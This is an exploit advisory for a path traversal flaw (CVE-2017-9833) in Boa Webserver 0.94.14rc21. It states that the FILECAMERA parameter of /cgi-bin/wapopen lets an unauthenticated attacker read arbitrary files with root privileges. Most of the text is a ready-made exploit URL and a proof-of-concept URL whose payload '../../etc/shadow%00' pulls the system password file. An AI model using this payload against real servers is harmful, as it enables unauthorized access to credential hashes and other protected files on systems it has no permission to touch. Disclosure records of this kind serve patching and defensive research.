BOA Web Server 0.94.14 - Access to arbitrary files as privileges Title: Vulnerability in BOA Webserver 0.94.14 Date: 20-06-2017 Status: Vendor contacted, patch available Scope: Arbitrary file access Platforms: Unix Author: Miguel Mendez Z Vendor Homepage: http://www.boa.org Version: Boa Webserver 0.94.14rc21 CVE: CVE-2017-9833 Vulnerability description ------------------------- -We can read any file located on the server The server allows the injection of "../.." using the FILECAMERA variable sent by GET to read files with root privileges. Without using access credentials Vulnerable variable: FILECAMERA=../../etc/shadow%00 Exploit link: /cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0 Poc: http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0